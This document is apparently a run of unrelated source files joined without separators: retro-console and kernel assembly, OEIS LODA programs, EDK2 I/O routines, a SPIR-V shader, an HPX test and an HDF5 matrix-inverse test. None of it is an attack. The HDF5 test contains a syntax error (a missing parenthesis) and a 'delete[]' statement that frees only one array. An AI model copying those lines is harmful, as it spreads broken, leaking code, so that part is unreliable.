lda #$00 sta $0003 lda #$0a ; HSR sta $0000 lda #$02 sta $0002 lda #$02 sta $0003 lda #$0b ; HDR sta $0000 lda #$1f sta $0002 lda #$04 sta $0003 lda #$0c ; VPR (video sync register) sta $0000 lda #$02 sta $0002 lda #$10 sta $0003 lda #$0d ; VDW sta $0000 lda #$e7 sta $0002 lda #$00 sta $0003 lda #$0e ; VCR sta $0000 lda #$0c sta $0002 lda #$00 sta $0003 lda #$0f ; DCR sta $0000 lda #$10 sta $0002 lda #$00 sta $0003 lda #$13 ; SATB sta $0000 lda #$00 sta $0002 lda #$7f sta $0003 ; enable background and sprites lda #$05 ; select the control register sta $0000 lda #$cc ; enable bits 3, 4, 6 and 7 sta $0002 lda #$00 sta $0003 ; setup hblank interrupt at scanline 4 lda #$06 ; select the RCR register sta $0000 ; first scanline is #$40 or #64 lda #$80 sta $0002 ; write lo byte lda #$00 sta $0003 ; write hi byte ; fill palette data ldy #$00 lda #$00 sta $0402 sta $0403 .palfill: tya sta $0404 lda #$00 sta $0405 iny bne .palfill .palfill2: tya sta $0404 lda #$01 sta $0405 iny bne .palfill2 ; fill VRAM Bg Attribute Table lda #$00 sta $0000 sta $0002 sta $0003 lda #$02 sta $0000 ldy #$00 .batfill: lda #$10 tya lsr A lsr A lsr A sta $0002 ;lda #$00 tya asl A asl A asl A asl A sta $0003 iny bne .batfill .batfill2: lda #$10 tya lsr A lsr A sta $0002 ;lda #$00 tya asl A asl A asl A asl A sta $0003 iny bne .batfill2 ; write to tile $10 lda #$00 sta $0000 sta $0002 lda #$10 sta $0003 lda #$02 sta $0000 ldy #$00 .tilefill: tya sta $0002 lda #$00 sta $0003 iny bne .tilefill ldy #$00 .tilefill2: tya sta $0002 lda #$00 sta $0003 iny bne .tilefill2 .tilefill3: tya sta $0002 lda #$00 sta $0003 iny bne .tilefill3 .tilefill4: tya sta $0002 lda #$00 sta $0003 iny bne .tilefill4 ; enable interrupts cli ; INIT PSG init_psg: lda #$ff ; global volume full sta $0801 ; SQAURE WAVE channel 0 (wavetable) lda #$00 ; select channel 0 sta $0800 lda #$4e ; fine tune sta $0802 sta fine_tune lda #$05 ; coarse tune sta $0803 lda #$40 ; reset wavetable position sta $0804 lda #$00 ; turn off to enable wave write sta $0804 ldy #$00 ; write wave table loop .loading_square: lda square,y sta $0806 iny cpy #$20 bne .loading_square lda #$ff ; set L/R volume full sta $0805 lda #$9f ; enable channel and full volume sta $0804 ; TURN OFF channel 0 ; so we can hear channel 5 lda #$00 sta $0804 ; SAW WAVE channel 5 (pcm / DDA) lda #$05 sta $0800 lda #$40 sta $0804 lda #$00 sta $0804 ;sta $0804 lda #$00 sta $0802 sta $0803 lda #$ff ; set L/R volume full sta $0805 lda %11011111 ; set Channel and DDA to on / Volume full sta $0804 lda #$03 sta $0800 lda #$00 sta $0802 sta $0803 sta $0806 lda %11000000 ; set Channel and DDA to on / Volume full sta $0804 lda #$ff ; set L/R volume full sta $0805 lda #$04 sta $0800 lda #$ff ; set L/R volume full sta $0805 lda #$00 sta $0804 lda %11011111 ; set Channel and DDA to on / Volume full sta $0804 loop: jmp loop ;do our infinite wait loop timer_saw: pha phx phy stz $1403 ; reset timer ;lda $0000 ; get saw delta position lda #$05 ; use channel 5 sta $0800 inc saw_counter lda saw_counter sta $0806 ; stash into DDA lda #$01 sta timer_ctrl ; reset timer? ply plx pla rti irq1: pha phx phy ; READ THE STATUS REGISTER TO ; RESET THE VDC IRQ FLAG lda $0000 ; increment fine tune lda #$00 ; use channel 0 sta $0800 inc fine_tune lda fine_tune sta $0802 ; check loop counter position inc $2020 lda $2020 cmp #$08 bne .cleanup ; rotate bg color lda #$00 sta $0402 sta $0403 inc $2021 lda $2021 sta $0404 ; reset loop lda #$00 sta $2020 .cleanup: ply plx pla rti interrupt_rti: rti square: .db $1b,$1d,$1e,$1e,$1f,$1f,$1f,$1f,$1f,$1f,$1f,$1f,$1e,$1e,$1d,$1b,$04,$02,$01 .db $01,$00,$00,$00,$00,$00,$00,$00,$00,$01,$01,$02,$04 .include "windows huc\include\pce\font.inc" ; we are still inside bank $00 ; IRQ1 VDC interrupt vector ; .org $fff8 ; .dw irq1 .org $fff6 .dw interrupt_rti .dw irq1 .dw timer_saw .dw interrupt_rti .dw interrupt_rti ; program reset vector .org $fffe .dw start_up ;#end
; void in_MouseSimSetPos(struct in_UDM *u, uint xcoord, uint ycoord) ; CALLER linkage for function pointers PUBLIC in_MouseSimSetPos EXTERN in_MouseSimSetPos_callee EXTERN ASMDISP_IN_MOUSESIMSETPOS_CALLEE .in_MouseSimSetPos pop af pop bc pop de pop hl push hl push de push bc push af ld b,c ld c,e jp in_MouseSimSetPos_callee + ASMDISP_IN_MOUSESIMSETPOS_CALLEE
; A215761: Numbers m with property that 36m+11 is prime. ; Submitted by Jon Maiga ; 0,1,2,5,6,7,12,13,16,18,23,25,26,27,28,30,32,36,40,41,42,43,46,50,51,56,57,58,61,62,65,67,68,70,75,78,81,82,83,90,92,93,96,98,103,107,111,113,118,126,127,130,133,135,137,140,141,145,147,152,153,155,161,162,163,166,170,172,175,180,182,183,188,193,197,200,201,202,208,211,212,217,223,225,226,228,230,232,237,245,246,250,256,260,263,265,266,267,271,272 mov $2,$0 pow $2,2 mov $4,10 lpb $2 mov $3,$4 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 mov $1,$0 max $1,0 cmp $1,$0 mul $2,$1 sub $2,1 add $4,36 lpe mov $0,$4 div $0,36
;------------------------------------------------------------------------------ ; ; Copyright (c) 2006 - 2012, Intel Corporation. All rights reserved.<BR> ; Copyright (c) 2017, AMD Incorporated. All rights reserved.<BR> ; ; SPDX-License-Identifier: BSD-2-Clause-Patent ; ;------------------------------------------------------------------------------ DEFAULT REL SECTION .text ;------------------------------------------------------------------------------ ; Check whether we need to unroll the String I/O in SEV guest ; ; Return // eax (1 - unroll, 0 - no unroll) ;------------------------------------------------------------------------------ global ASM_PFX(SevNoRepIo) ASM_PFX(SevNoRepIo): ; CPUID clobbers ebx, ecx and edx push rbx push rcx push rdx ; Check if we are runing under hypervisor ; CPUID(1).ECX Bit 31 mov eax, 1 cpuid bt ecx, 31 jnc @UseRepIo ; Check if we have Memory encryption CPUID leaf mov eax, 0x80000000 cpuid cmp eax, 0x8000001f jl @UseRepIo ; Check for memory encryption feature: ; CPUID Fn8000_001F[EAX] - Bit 1 ; mov eax, 0x8000001f cpuid bt eax, 1 jnc @UseRepIo ; Check if memory encryption is enabled ; MSR_0xC0010131 - Bit 0 (SEV enabled) ; MSR_0xC0010131 - Bit 1 (SEV-ES enabled) mov ecx, 0xc0010131 rdmsr ; Check for (SevEsEnabled == 0 && SevEnabled == 1) and eax, 3 cmp eax, 1 je @SevNoRepIo_Done @UseRepIo: xor eax, eax @SevNoRepIo_Done: pop rdx pop rcx pop rbx ret ;------------------------------------------------------------------------------ ; VOID ; EFIAPI ; IoReadFifo8 ( ; IN UINTN Port, // rcx ; IN UINTN Size, // rdx ; OUT VOID *Buffer // r8 ; ); ;------------------------------------------------------------------------------ global ASM_PFX(IoReadFifo8) ASM_PFX(IoReadFifo8): xchg rcx, rdx xchg rdi, r8 ; rdi: buffer address; r8: save rdi ; Check if we need to unroll String I/O call ASM_PFX(SevNoRepIo) test eax, eax jnz @IoReadFifo8_NoRep cld rep insb jmp @IoReadFifo8_Done @IoReadFifo8_NoRep: jrcxz @IoReadFifo8_Done @IoReadFifo8_Loop: in al, dx mov byte [rdi], al inc rdi loop @IoReadFifo8_Loop @IoReadFifo8_Done: mov rdi, r8 ; restore rdi ret ;------------------------------------------------------------------------------ ; VOID ; EFIAPI ; IoReadFifo16 ( ; IN UINTN Port, // rcx ; IN UINTN Size, // rdx ; OUT VOID *Buffer // r8 ; ); ;------------------------------------------------------------------------------ global ASM_PFX(IoReadFifo16) ASM_PFX(IoReadFifo16): xchg rcx, rdx xchg rdi, r8 ; rdi: buffer address; r8: save rdi ; Check if we need to unroll String I/O call ASM_PFX(SevNoRepIo) test eax, eax jnz @IoReadFifo16_NoRep cld rep insw jmp @IoReadFifo16_Done @IoReadFifo16_NoRep: jrcxz @IoReadFifo16_Done @IoReadFifo16_Loop: in ax, dx mov word [rdi], ax add rdi, 2 loop @IoReadFifo16_Loop @IoReadFifo16_Done: mov rdi, r8 ; restore rdi ret ;------------------------------------------------------------------------------ ; VOID ; EFIAPI ; IoReadFifo32 ( ; IN UINTN Port, // rcx ; IN UINTN Size, // rdx ; OUT VOID *Buffer // r8 ; ); ;------------------------------------------------------------------------------ global ASM_PFX(IoReadFifo32) ASM_PFX(IoReadFifo32): xchg rcx, rdx xchg rdi, r8 ; rdi: buffer address; r8: save rdi ; Check if we need to unroll String I/O call ASM_PFX(SevNoRepIo) test eax, eax jnz @IoReadFifo32_NoRep cld rep insd jmp @IoReadFifo32_Done @IoReadFifo32_NoRep: jrcxz @IoReadFifo32_Done @IoReadFifo32_Loop: in eax, dx mov dword [rdi], eax add rdi, 4 loop @IoReadFifo32_Loop @IoReadFifo32_Done: mov rdi, r8 ; restore rdi ret ;------------------------------------------------------------------------------ ; VOID ; EFIAPI ; IoWriteFifo8 ( ; IN UINTN Port, // rcx ; IN UINTN Size, // rdx ; IN VOID *Buffer // r8 ; ); ;------------------------------------------------------------------------------ global ASM_PFX(IoWriteFifo8) ASM_PFX(IoWriteFifo8): xchg rcx, rdx xchg rsi, r8 ; rsi: buffer address; r8: save rsi ; Check if we need to unroll String I/O call ASM_PFX(SevNoRepIo) test eax, eax jnz @IoWriteFifo8_NoRep cld rep outsb jmp @IoWriteFifo8_Done @IoWriteFifo8_NoRep: jrcxz @IoWriteFifo8_Done @IoWriteFifo8_Loop: mov al, byte [rsi] out dx, al inc rsi loop @IoWriteFifo8_Loop @IoWriteFifo8_Done: mov rsi, r8 ; restore rsi ret ;------------------------------------------------------------------------------ ; VOID ; EFIAPI ; IoWriteFifo16 ( ; IN UINTN Port, // rcx ; IN UINTN Size, // rdx ; IN VOID *Buffer // r8 ; ); ;------------------------------------------------------------------------------ global ASM_PFX(IoWriteFifo16) ASM_PFX(IoWriteFifo16): xchg rcx, rdx xchg rsi, r8 ; rsi: buffer address; r8: save rsi ; Check if we need to unroll String I/O call ASM_PFX(SevNoRepIo) test eax, eax jnz @IoWriteFifo16_NoRep cld rep outsw jmp @IoWriteFifo16_Done @IoWriteFifo16_NoRep: jrcxz @IoWriteFifo16_Done @IoWriteFifo16_Loop: mov ax, word [rsi] out dx, ax add rsi, 2 loop @IoWriteFifo16_Loop @IoWriteFifo16_Done: mov rsi, r8 ; restore rsi ret ;------------------------------------------------------------------------------ ; VOID ; EFIAPI ; IoWriteFifo32 ( ; IN UINTN Port, // rcx ; IN UINTN Size, // rdx ; IN VOID *Buffer // r8 ; ); ;------------------------------------------------------------------------------ global ASM_PFX(IoWriteFifo32) ASM_PFX(IoWriteFifo32): xchg rcx, rdx xchg rsi, r8 ; rsi: buffer address; r8: save rsi ; Check if we need to unroll String I/O call ASM_PFX(SevNoRepIo) test eax, eax jnz @IoWriteFifo32_NoRep cld rep outsd jmp @IoWriteFifo32_Done @IoWriteFifo32_NoRep: jrcxz @IoWriteFifo32_Done @IoWriteFifo32_Loop: mov eax, dword [rsi] out dx, eax add rsi, 4 loop @IoWriteFifo32_Loop @IoWriteFifo32_Done: mov rsi, r8 ; restore rsi ret
; A190482: Convex, obtuse, hexagonal lattice numbers ; 7,10,12,13,14,16,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61 mov $2,$0 mov $3,$0 mul $0,2 add $0,1 mov $4,$2 sub $4,3 lpb $0 mov $0,$4 trn $0,1 add $0,4 mov $4,3 lpe lpb $3 add $0,1 sub $3,1 lpe add $0,6
.386 .model flat PBYTE TYPEDEF PTR BYTE PWORD TYPEDEF PTR WORD PDWORD TYPEDEF PTR DWORD .data arrayB BYTE 10h, 20h, 30h arrayW WORD 1,2,3 arrayD DWORD 4,5,6 pt_1 PBYTE arrayB pt_2 PWORD arrayW pt_3 PDWORD arrayD .code start proc mov esi,pt_1 mov al,[esi] mov esi,pt_2 mov ax,[esi] mov esi,pt_3 mov eax,[esi] ret start endp end start
[BITS 64] SECTION .text ; I/O port related functions global kInPortByte, kOutPortByte ; GDT, IDT, and TSS related functions global kLoadGDTR, kLoadTR, kLoadIDTR ; interrupt related functions global kEnableInterrupt, kDisableInterrupt, kReadRFLAGS ;Time Stamp Counter related functions global kReadTSC ; context switch related function global kSwitchContext ;; I/O port related functions ; function that reads one byte from port ; this function follows IA-32e mode function convention ; param: ; port address (word): memory address where data is stored ; return: ; a byte value from the port I/O address kInPortByte: push rdx mov rax, 0 ; initialize register to zero mov rdx, rdi ; move first parameter (port addr) to rax in al, dx ; read byte pop rdx ret ; function that writes one byte to port ; this function follows IA-32e mode function convention ; param: ; port address (word): I/O port address to write data ; data (byte): data to write kOutPortByte: push rdx push rax mov rdx, rdi ; move first parameter (port addr) to rdi mov rax, rsi ; move second parameter (data) to rax out dx, al ; write byte pop rax pop rdx ret ;; GDT, IDT, and TSS related functions ; function that loads GDTR address to register ; param: ; qwGDTRAddress: address of GDTR kLoadGDTR: lgdt [rdi] ret ; function that loads TSS descriptor offset to TR register ; param: ; wTSSSegmentOffset: TSS descriptor offset in GDT kLoadTR: ltr di; ret ; function that loads IDTR address to register ; param: ; qwIDTRAddress: address of IDTR kLoadIDTR: lidt [rdi] ret ;; interrupt related functions ; function that activates interrupt kEnableInterrupt: sti ret ; function that deactivates interrupt kDisableInterrupt: cli ret ; function that returns RFLAGS kReadRFLAGS: pushfq ; push RFLAGS to stack pop rax ret ;; Time Stamp Counter related functions ; returns time stamp counter ; return: ; rax: time stamp counter of QWORD size kReadTSC: push rdx; rdtsc ; save tsc at EDX:EAX (high:low) shl rdx, 32 ; save tsc at RAX or rax, rdx pop rdx ret ;; context switch related macros and functions ; macro that stores registers to task CONTEXT array ; it is required to set CONTEXT array as stack ; and push SS, RSP, RFLAGS, CS, RIP first before ; using this macro ; you can see similar macro in ISR.asm %macro KSAVECONTEXT 0 push rbp push rax push rbx push rcx push rdx push rdi push rsi push r8 push r9 push r10 push r11 push r12 push r13 push r14 push r15 mov ax, ds push rax mov ax, es push rax push fs push gs %endmacro ; macro that restore registers to task CONTEXT array ; it is required to set CONTEXT array as stack ; and the array shoud have registers pushed by ; KSAVECONTEXT macro ; you can see similar macro in ISR.asm %macro KLOADCONTEXT 0 pop gs pop fs pop rax mov es, ax pop rax mov ds, ax pop r15 pop r14 pop r13 pop r12 pop r11 pop r10 pop r9 pop r8 pop rsi pop rdi pop rdx pop rcx pop rbx pop rax pop rbp %endmacro ; save current task context to task data structure ; and load next task context to run ; params: ; pstCurrentContext: pointer where current context will be stored ; pstNextContext: pointer to context to load ; info: ; this looks like a function. However, it works slight different way. ; this code must be called, but it never returns. and it preserves ; registers instead of pushing to stack, so it can store the registers ; of the task kSwitchContext: push rbp mov rbp, rsp ; use rbp as a base to point return address pushfq ; cmp can modify RFLAGS, so push it before cmp cmp rdi, 0 je .LoadContext ; if pstCurrentContet is empty popfq ;; save current task context push rax ; rax reigster is used as temp variable mov ax, ss mov qword [rdi + (23 * 8)], rax ; save rsp of caller before calling this func ; 16 is rbp + return addr in stack mov rax, rbp add rax, 16 mov qword [rdi + (22 * 8)], rax ; save rflags pushfq pop rax mov qword [rdi + (21 * 8)], rax ; save cs mov ax, cs mov qword [rdi + (20 * 8)], rax ; save instruct pointer that points after this func mov rax, qword [rbp + 8] mov qword [rdi + (19 * 8)], rax ;; prepare before calling KSAVECONTEXT ;; In other words, leave all registers like before calling func pop rax pop rbp ; change rsp that points to current context add rdi, (19 * 8) mov rsp, rdi sub rdi, (19 * 8) KSAVECONTEXT .LoadContext: ; set rsp to points next context mov rsp, rsi KLOADCONTEXT ; restore 5 items in the top of stack ; which are SS, RSP, RFLAGS, CS, RIP ; and instead of returning, execute code in CS:IP iretq
; SPIR-V ; Version: 1.0 ; Generator: Khronos Glslang Reference Front End; 10 ; Bound: 46 ; Schema: 0 OpCapability Shader %1 = OpExtInstImport "GLSL.std.450" OpMemoryModel Logical GLSL450 OpEntryPoint Fragment %4 "main" %41 OpExecutionMode %4 OriginUpperLeft OpSource ESSL 320 OpName %4 "main" OpName %10 "m" OpName %41 "_GLF_color" OpDecorate %41 Location 0 %2 = OpTypeVoid %3 = OpTypeFunction %2 %6 = OpTypeFloat 32 %7 = OpTypeVector %6 2 %8 = OpTypeMatrix %7 2 %9 = OpTypePointer Function %8 %11 = OpConstant %6 1 %12 = OpConstant %6 2 %13 = OpConstantComposite %7 %11 %12 %14 = OpConstant %6 3 %15 = OpConstant %6 4 %16 = OpConstantComposite %7 %14 %15 %17 = OpConstantComposite %8 %13 %16 %22 = OpConstant %6 0.5 %23 = OpConstant %6 1.5 %24 = OpConstantComposite %7 %22 %23 %25 = OpConstantComposite %8 %24 %13 %26 = OpTypeBool %29 = OpTypeVector %26 2 %39 = OpTypeVector %6 4 %40 = OpTypePointer Output %39 %41 = OpVariable %40 Output %42 = OpConstant %6 0 %43 = OpConstantComposite %39 %11 %42 %42 %11 %45 = OpConstantComposite %39 %42 %42 %42 %42 %4 = OpFunction %2 None %3 %5 = OpLabel %10 = OpVariable %9 Function %18 = OpTranspose %8 %17 %19 = OpFDiv %6 %11 %12 %20 = OpMatrixTimesScalar %8 %18 %19 OpStore %10 %20 %21 = OpLoad %8 %10 %27 = OpCompositeExtract %7 %21 0 %28 = OpCompositeExtract %7 %25 0 %30 = OpFOrdEqual %29 %27 %28 %31 = OpAll %26 %30 %32 = OpCompositeExtract %7 %21 1 %33 = OpCompositeExtract %7 %25 1 %34 = OpFOrdEqual %29 %32 %33 %35 = OpAll %26 %34 %36 = OpLogicalAnd %26 %31 %35 OpSelectionMerge %38 None OpBranchConditional %36 %37 %44 %37 = OpLabel OpStore %41 %43 OpBranch %38 %44 = OpLabel OpStore %41 %45 OpBranch %38 %38 = OpLabel OpReturn OpFunctionEnd
// Copyright (c) 2007-2017 Hartmut Kaiser // // SPDX-License-Identifier: BSL-1.0 // Distributed under the Boost Software License, Version 1.0. (See accompanying // file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) #include <hpx/config.hpp> #include <hpx/local/execution.hpp> #include <hpx/local/future.hpp> #include <hpx/local/init.hpp> #include <hpx/modules/testing.hpp> #include <cstdint> /////////////////////////////////////////////////////////////////////////////// std::int32_t increment(std::int32_t i) { return i + 1; } std::int32_t increment_with_future(hpx::shared_future<std::int32_t> fi) { return fi.get() + 1; } /////////////////////////////////////////////////////////////////////////////// struct mult2 { std::int32_t operator()(std::int32_t i) const { return i * 2; } }; /////////////////////////////////////////////////////////////////////////////// struct decrement { std::int32_t call(std::int32_t i) const { return i - 1; } }; /////////////////////////////////////////////////////////////////////////////// void do_nothing(std::int32_t) {} struct do_nothing_obj { void operator()(std::int32_t) const {} }; struct do_nothing_member { void call(std::int32_t) const {} }; /////////////////////////////////////////////////////////////////////////////// template <typename Executor> void test_async_with_executor(Executor& exec) { { hpx::future<std::int32_t> f1 = hpx::async(exec, &increment, 42); HPX_TEST_EQ(f1.get(), 43); hpx::future<void> f2 = hpx::async(exec, &do_nothing, 42); f2.get(); } { hpx::lcos::local::promise<std::int32_t> p; hpx::shared_future<std::int32_t> f = p.get_future(); hpx::future<std::int32_t> f1 = hpx::async(exec, &increment_with_future, f); hpx::future<std::int32_t> f2 = hpx::async(exec, &increment_with_future, f); p.set_value(42); HPX_TEST_EQ(f1.get(), 43); HPX_TEST_EQ(f2.get(), 43); } { using hpx::util::placeholders::_1; hpx::future<std::int32_t> f1 = hpx::async(exec, hpx::util::bind(&increment, 42)); HPX_TEST_EQ(f1.get(), 43); hpx::future<std::int32_t> f2 = hpx::async(exec, hpx::util::bind(&increment, _1), 42); HPX_TEST_EQ(f2.get(), 43); } { hpx::future<std::int32_t> f1 = hpx::async(exec, increment, 42); HPX_TEST_EQ(f1.get(), 43); hpx::future<void> f2 = hpx::async(exec, do_nothing, 42); f2.get(); } { mult2 mult; hpx::future<std::int32_t> f1 = hpx::async(exec, mult, 42); HPX_TEST_EQ(f1.get(), 84); } { mult2 mult; hpx::future<std::int32_t> f1 = hpx::async(exec, hpx::util::bind(mult, 42)); HPX_TEST_EQ(f1.get(), 84); using hpx::util::placeholders::_1; hpx::future<std::int32_t> f2 = hpx::async(exec, hpx::util::bind(mult, _1), 42); HPX_TEST_EQ(f2.get(), 84); do_nothing_obj do_nothing_f; hpx::future<void> f3 = hpx::async(exec, hpx::util::bind(do_nothing_f, _1), 42); f3.get(); } { decrement dec; hpx::future<std::int32_t> f1 = hpx::async(exec, &decrement::call, dec, 42); HPX_TEST_EQ(f1.get(), 41); do_nothing_member dnm; hpx::future<void> f2 = hpx::async(exec, &do_nothing_member::call, dnm, 42); f2.get(); } { decrement dec; using hpx::util::placeholders::_1; hpx::future<std::int32_t> f1 = hpx::async(exec, hpx::util::bind(&decrement::call, dec, 42)); HPX_TEST_EQ(f1.get(), 41); hpx::future<std::int32_t> f2 = hpx::async(exec, hpx::util::bind(&decrement::call, dec, _1), 42); HPX_TEST_EQ(f2.get(), 41); do_nothing_member dnm; hpx::future<void> f3 = hpx::async( exec, hpx::util::bind(&do_nothing_member::call, dnm, _1), 42); f3.get(); } } int hpx_main() { { hpx::execution::sequenced_executor exec; test_async_with_executor(exec); } { hpx::execution::parallel_executor exec; test_async_with_executor(exec); } return hpx::local::finalize(); } int main(int argc, char* argv[]) { // Initialize and run HPX HPX_TEST_EQ_MSG(hpx::local::init(hpx_main, argc, argv), 0, "HPX main exited with non-zero status"); return hpx::util::report_errors(); }
#include "hdf5/serial/H5Cpp.h" #include "hdf5/serial/hdf5.h" #include "Helpers.hpp" #include "SMWB.hpp" #include "SM_Maponi.hpp" #include "SM_Standard.hpp" #include "Woodbury.hpp" #include <fstream> #include <vector> #define PERF #define STATUS // #define RESIDUAL #ifdef PERF unsigned int repetition_number; #endif using namespace H5; // #define DEBUG const H5std_string FILE_NAME("dataset.hdf5"); void read_int(H5File file, std::string key, unsigned int *data) { DataSet ds = file.openDataSet(key); ds.read(data, PredType::STD_U32LE); ds.close(); } void read_double(H5File file, std::string key, double *data) { DataSet ds = file.openDataSet(key); ds.read(data, PredType::IEEE_F64LE); ds.close(); } int test_cycle(H5File file, int cycle, std::string version, double tolerance) { /* Read the data */ std::string group = "cycle_" + std::to_string(cycle); unsigned int dim, nupdates, col, i, j; read_int(file, group + "/slater_matrix_dim", &dim); read_int(file, group + "/nupdates", &nupdates); double *slater_matrix = new double[dim * dim]; read_double(file, group + "/slater_matrix", slater_matrix); double *slater_inverse = new double[dim * dim]; read_double(file, group + "/slater_inverse", slater_inverse); unsigned int *col_update_index = new unsigned int[nupdates]; read_int(file, group + "/col_update_index", col_update_index); double *updates = new double[nupdates * dim]; read_double(file, group + "/updates", updates); double *u = new double[nupdates * dim]; const double breakdown = 1e-3; /* Test */ #ifdef DEBUG2 showMatrix(slater_inverse, dim, "OLD Inverse"); #endif // Transform replacement updates in 'updates[]' into additive updates in 'u[]' for (j = 0; j < nupdates; j++) { for (i = 0; i < dim; i++) { col = col_update_index[j]; u[i + j * dim] = updates[i + j * dim] - slater_matrix[i * dim + (col - 1)]; slater_matrix[i * dim + (col - 1)] = updates[i + j * dim]; } } #ifdef DEBUG2 showMatrix(slater_matrix, dim, "OLD Slater"); showMatrix(u, dim, "Updates"); #endif #ifdef PERF #ifdef DEBUG1 std::cerr << "# of reps. = " << repetition_number << std::endl; #endif // DEBUG1 double *slater_inverse_nonpersistent = new double[dim * dim]; if (version == "sm1") { for (unsigned int i = 0; i < repetition_number; i++) { std::memcpy(slater_inverse_nonpersistent, slater_inverse, dim * dim * sizeof(double)); SM1(slater_inverse_nonpersistent, dim, nupdates, u, col_update_index, breakdown); } } else if (version == "sm2") { for (unsigned int i = 0; i < repetition_number; i++) { std::memcpy(slater_inverse_nonpersistent, slater_inverse, dim * dim * sizeof(double)); SM2(slater_inverse_nonpersistent, dim, nupdates, u, col_update_index, breakdown); } } else if (version == "sm3") { for (unsigned int i = 0; i < repetition_number; i++) { std::memcpy(slater_inverse_nonpersistent, slater_inverse, dim * dim * sizeof(double)); SM3(slater_inverse_nonpersistent, dim, nupdates, u, col_update_index, breakdown); } } else if (version == "sm4") { for (unsigned int i = 0; i < repetition_number; i++) { std::memcpy(slater_inverse_nonpersistent, slater_inverse, dim * dim * sizeof(double)); SM4(slater_inverse_nonpersistent, dim, nupdates, u, col_update_index, breakdown); } } else if (version == "wb2") { for (unsigned int i = 0; i < repetition_number; i++) { std::memcpy(slater_inverse_nonpersistent, slater_inverse, dim * dim * sizeof(double)); WB2(slater_inverse_nonpersistent, dim, u, col_update_index, breakdown); } } else if (version == "wb3") { for (unsigned int i = 0; i < repetition_number; i++) { std::memcpy(slater_inverse_nonpersistent, slater_inverse, dim * dim * sizeof(double)); WB3(slater_inverse_nonpersistent, dim, u, col_update_index, breakdown); } } else if (version == "wb2s") { for (unsigned int i = 0; i < repetition_number; i++) { std::memcpy(slater_inverse_nonpersistent, slater_inverse, dim * dim * sizeof(double)); WB2s(slater_inverse_nonpersistent, dim, nupdates, u, col_update_index, breakdown); } } else if (version == "wb32s") { for (unsigned int i = 0; i < repetition_number; i++) { std::memcpy(slater_inverse_nonpersistent, slater_inverse, dim * dim * sizeof(double)); WB32s(slater_inverse_nonpersistent, dim, nupdates, u, col_update_index, breakdown); } #ifdef MKL } else if (version == "lapack") { for (unsigned int i = 0; i < repetition_number; i++) { std::memcpy(slater_inverse_nonpersistent, slater_matrix, dim * dim * sizeof(double)); inverse(slater_inverse_nonpersistent, dim); } #endif // MKL } else { std::cerr << "Unknown version " << version << std::endl; exit(1); } std::memcpy(slater_inverse, slater_inverse_nonpersistent, dim * dim * sizeof(double)); delete[] slater_inverse_nonpersistent; #else // No performance measurements repetition if (version == "maponia3") { MaponiA3(slater_inverse, dim, nupdates, u, col_update_index, breakdown); } else if (version == "maponia3s") { MaponiA3S(slater_inverse, dim, nupdates, u, col_update_index, breakdown; } else if (version == "sm1") { SM1(slater_inverse, dim, nupdates, u, col_update_index, breakdown); } else if (version == "sm2") { SM2(slater_inverse, dim, nupdates, u, col_update_index, breakdown); } else if (version == "sm3") { SM3(slater_inverse, dim, nupdates, u, col_update_index, breakdown); } else if (version == "sm4") { SM4(slater_inverse, dim, nupdates, u, col_update_index, breakdown); } else if (version == "wb2") { WB2(slater_inverse, dim, u, col_update_index, breakdown); } else if (version == "wb3") { WB3(slater_inverse, dim, u, col_update_index, breakdown); } else if (version == "wb2s") { WB2s(slater_inverse, dim, nupdates, u, col_update_index, breakdown); } else if (version == "wb32s") { WB32s(slater_inverse, dim, nupdates, u, col_update_index, breakdown); #ifdef MKL } else if (version == "lapack") { memcpy(slater_inverse, slater_matrix, dim * dim * sizeof(double)); inverse(slater_inverse, dim); #endif // MKL } else { std::cerr << "Unknown version " << version << std::endl; exit(1); } #endif // PERF #ifdef DEBUG2 showMatrix(slater_matrix, dim, "NEW Slater"); showMatrix(slater_inverse, dim, "NEW Inverse"); #endif double *res = new double[dim * dim]{0}; matMul(slater_matrix, slater_inverse, res, dim); bool ok = is_identity(res, dim, tolerance); double res_max = residual_max(res, dim); double res2 = residual_frobenius2(res, dim); #ifdef RESIDUAL std::cout << "Residual = " << version << " " << cycle << " " << res_max << " " << res2 << std::endl; #endif #ifdef DEBUG2 showMatrix(res, dim, "Result"); #endif delete[] res, updates, u, col_update_index, slater_matrix, slater_inverse; return ok; } int main(int argc, char **argv) { #ifdef PERF if (argc != 5) { std::cerr << "Execute from within 'datasets/'" << std::endl; std::cerr << "usage: fnu_test_h5 <version> <cycle file> <tolerance> <number of reps.>" << std::endl; return 1; } #else if (argc != 4) { std::cerr << "Execute from within 'datasets/'" << std::endl; std::cerr << "usage: fnu_test_h5 <version> <cycle file> <tolerance>" << std::endl; return 1; } #endif std::string version(argv[1]); std::string cyclefile_name(argv[2]); std::ifstream cyclefile(cyclefile_name); std::vector<int> cycles; unsigned int cycle; while (cyclefile >> cycle) cycles.push_back(cycle); double tolerance = std::stod(argv[3]); H5File file(FILE_NAME, H5F_ACC_RDONLY); #ifdef PERF repetition_number = std::stoi(argv[4]); #endif bool ok; for (auto &cycle : cycles) { ok = test_cycle(file, cycle, version, tolerance); #ifdef STATUS if (ok) { std::cerr << "ok -- cycle " << std::to_string(cycle) << std::endl; } else { std::cerr << "failed -- cycle " << std::to_string(cycle) << std::endl; } #endif } return ok; }
Name: z00_enmy5.asm Type: file Size: 31007 Last-Modified: '2016-05-13T04:36:32Z' SHA-1: 3A59DE365CEDBAF0A54584A02E84E1C30B54C280 Description: null
; ; jcsample.asm - downsampling (64-bit SSE2) ; ; Copyright 2009 Pierre Ossman <ossman@cendio.se> for Cendio AB ; Copyright (C) 2009, D. R. Commander. ; ; Based on the x86 SIMD extension for IJG JPEG library ; Copyright (C) 1999-2006, MIYASAKA Masaru. ; For conditions of distribution and use, see copyright notice in jsimdext.inc ; ; This file should be assembled with NASM (Netwide Assembler), ; can *not* be assembled with Microsoft's MASM or any compatible ; assembler (including Borland's Turbo Assembler). ; NASM is available from http://nasm.sourceforge.net/ or ; http://sourceforge.net/project/showfiles.php?group_id=6208 ; ; [TAB8] %include "jsimdext.inc" ; -------------------------------------------------------------------------- SECTION SEG_TEXT BITS 64 ; ; Downsample pixel values of a single component. ; This version handles the common case of 2:1 horizontal and 1:1 vertical, ; without smoothing. ; ; GLOBAL(void) ; jsimd_h2v1_downsample_sse2 (JDIMENSION image_width, int max_v_samp_factor, ; 